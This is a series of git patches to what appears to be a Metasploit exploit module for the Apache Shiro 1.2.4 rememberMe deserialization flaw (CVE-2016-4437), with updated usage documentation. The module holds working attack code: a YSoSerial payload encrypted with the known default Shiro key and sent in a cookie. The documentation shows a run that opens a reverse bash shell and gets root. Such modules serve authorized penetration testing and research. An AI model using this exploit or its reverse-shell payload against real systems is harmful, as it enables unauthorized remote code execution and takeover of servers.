From 9be1e8c295f35b817ece8ef2cf7f5c1d855d0741 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 16 Dec 2020 11:03:30 +0800 Subject: [PATCH 1/3] replace hard-coded shiro default key with SHIROKEY --- .../exploits/multi/http/shiro_rememberme_v124_deserialize.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb b/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb index b45ea6b702a2..62373ff54bc0 100644 --- a/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb +++ b/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb @@ -53,14 +53,15 @@ def initialize(info={}) ) register_options( [ - OptString.new('TARGETURI', [ true, 'Base directory path', '/']) + OptString.new('TARGETURI', [ true, 'Base directory path', '/']), + OptString.new('SHIROKEY', [ true, 'Shiro default key', 'kPH+bIxk5D2deZiIxcaaaA==']) ]) end def aes_encrypt(payload) aes = OpenSSL::Cipher.new('aes-128-cbc') aes.encrypt - aes.key = Rex::Text.decode_base64('kPH+bIxk5D2deZiIxcaaaA==') + aes.key = Rex::Text.decode_base64(datastore['SHIROKEY']) aes.random_iv + aes.update(payload) + aes.final end From 24e8aeffe58bd0630ef39be6928cbd6f3a952a9c Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 21 Dec 2020 17:29:21 -0600 Subject: [PATCH 2/3] Incorporate review feedback and update the associated documentation. --- .../http/shiro_rememberme_v124_deserialize.md | 73 ++++++++++++++----- .../http/shiro_rememberme_v124_deserialize.rb | 8 +- 2 files changed, 60 insertions(+), 21 deletions(-) diff --git a/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md b/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md index 321a2ccd9cd4..38aa9c065f4b 100644 --- a/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md +++ b/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md @@ -1,4 +1,8 @@ -## Description +## Vulnerable Application + +[Shiro RememberMe 1.2.4](https://github.com/Medicean/VulApps/tree/master/s/shiro/1) + +### Description Apache Shiro v1.2.4 is vulnerable to a Java deserialization vulnerability. An unauthenticated user can submit a YSoSerial payload to the Apache Shiro web @@ -8,34 +12,67 @@ execution in the context of the web server. The YSoSerial `CommonsCollections2` payload is known to work and is the one leveraged by this module. -## Vulnerable Application - -[Shiro RememberMe 1.2.4](https://github.com/Medicean/VulApps/tree/master/s/shiro/1) +Note that other versions of Apache Shiro may also be exploitable if the +encryption key used by Shiro to encrypt `rememberMe` cookies is known. ## Verification Steps -1. `./msfconsole -q` -2. `use exploit/multi/http/shiro_rememberme_v124_deserialize` -3. `set rhosts ` -4. `run` +1. `use exploit/multi/http/shiro_rememberme_v124_deserialize` +2. `set rhosts ` +3. `run` + +## Options + **ENC_KEY** + The encryption key the target Apache Shiro server is using to encrypt its `rememberMe` cookies. ## Scenarios ### Tested on GNU/Linux x86_64 using Shiro-1.2.4 ``` -msf5 > use exploit/multi/http/shiro_rememberme_v124_deserialize -msf5 exploit(multi/http/shiro_rememberme_v124_deserialize) > set rhosts 192.168.1.11 -rhosts => 192.168.1.11 -msf5 exploit(multi/http/shiro_rememberme_v124_deserialize) > set payload cmd/unix/reverse_bash -payload => cmd/unix/reverse_bash -msf5 exploit(multi/http/shiro_rememberme_v124_deserialize) > run +msf6 > use exploit/multi/http/shiro_rememberme_v124_deserialize +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > show options + +Module options (exploit/multi/http/shiro_rememberme_v124_deserialize): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base directory path + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command payload + + +msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > set RHOSTS 172.18.0.2 +RHOSTS => 172.18.0.2 +msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > set LHOST 172.18.0.1 +LHOST => 172.18.0.1 +msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > run -[*] Started reverse TCP handler on 192.168.1.2:4444 -[*] Command shell session 2 opened (192.168.1.2:4444 -> 192.168.1.11:36206) at 2019-02-04 20:16:27 +0800 +[*] Started reverse TCP handler on 172.18.0.1:4444 +[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:60632) at 2020-12-21 17:09:27 -0600 whoami root -exit -[*] 192.168.1.11 - Command shell session 2 closed. +id +uid=0(root) gid=0(root) groups=0(root) ``` diff --git a/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb b/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb index 62373ff54bc0..1a5c15e2da7d 100644 --- a/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb +++ b/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb @@ -14,7 +14,9 @@ def initialize(info={}) 'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE', 'Description' => %q{ This vulnerability allows remote attackers to execute arbitrary code on vulnerable - installations of Apache Shiro v1.2.4. + installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may + also be exploitable if the encryption key used by Shiro to encrypt rememberMe + cookies is known. }, 'License' => MSF_LICENSE, 'Author' => @@ -54,14 +56,14 @@ def initialize(info={}) register_options( [ OptString.new('TARGETURI', [ true, 'Base directory path', '/']), - OptString.new('SHIROKEY', [ true, 'Shiro default key', 'kPH+bIxk5D2deZiIxcaaaA==']) + OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA==']) ]) end def aes_encrypt(payload) aes = OpenSSL::Cipher.new('aes-128-cbc') aes.encrypt - aes.key = Rex::Text.decode_base64(datastore['SHIROKEY']) + aes.key = Rex::Text.decode_base64(datastore['ENC_KEY']) aes.random_iv + aes.update(payload) + aes.final end From 7d0cb771a5265375eb4484a986e732d8f94c2441 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 21 Dec 2020 17:31:24 -0600 Subject: [PATCH 3/3] Apply RuboCop updates to module. --- .../http/shiro_rememberme_v124_deserialize.rb | 99 ++++++++++--------- 1 file changed, 53 insertions(+), 46 deletions(-) diff --git a/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb b/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb index 1a5c15e2da7d..35820ee57eaa 100644 --- a/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb +++ b/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb @@ -9,55 +9,62 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell - def initialize(info={}) - super(update_info(info, - 'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE', - 'Description' => %q{ - This vulnerability allows remote attackers to execute arbitrary code on vulnerable - installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may - also be exploitable if the encryption key used by Shiro to encrypt rememberMe - cookies is known. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'L / l-codes[at]qq.com' # Metasploit module - ], - 'References' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE', + 'Description' => %q{ + This vulnerability allows remote attackers to execute arbitrary code on vulnerable + installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may + also be exploitable if the encryption key used by Shiro to encrypt rememberMe + cookies is known. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'L / l-codes[at]qq.com' # Metasploit module + ], + 'References' => + [ ['CVE', '2016-4437'], ['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1'] - ], - 'Platform' => %w{ win unix }, - 'Arch' => [ ARCH_CMD ], - 'Targets' => - [ - [ - 'Unix Command payload', - 'Arch' => ARCH_CMD, - 'Platform' => 'unix', - 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'} ], + 'Platform' => %w[win unix], + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ - 'Windows Command payload', - 'Arch' => ARCH_CMD, - 'Platform' => 'win' - ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2016-06-07', - 'Privileged' => false, - 'DefaultOptions' => - { - 'WfsDelay' => 5 - } + [ + 'Unix Command payload', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ], + [ + 'Windows Command payload', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'win' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2016-06-07', + 'Privileged' => false, + 'DefaultOptions' => + { + 'WfsDelay' => 5 + } ) ) register_options( - [ - OptString.new('TARGETURI', [ true, 'Base directory path', '/']), - OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA==']) - ]) + [ + OptString.new('TARGETURI', [ true, 'Base directory path', '/']), + OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA==']) + ] + ) end def aes_encrypt(payload) @@ -70,15 +77,15 @@ def aes_encrypt(payload) def exploit cmd = payload.encoded vprint_status("Execute CMD: #{cmd}") - type = ( target.name == 'Unix Command payload' ? 'bash' : 'cmd' ) + type = (target.name == 'Unix Command payload' ? 'bash' : 'cmd') java_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections2', cmd, modified_type: type) ciphertext = aes_encrypt(java_payload) base64_ciphertext = Rex::Text.encode_base64(ciphertext) send_request_cgi({ - 'uri' => target_uri.path, - 'method' => 'GET', - 'cookie' => "rememberMe=#{base64_ciphertext}" + 'uri' => target_uri.path, + 'method' => 'GET', + 'cookie' => "rememberMe=#{base64_ciphertext}" }) end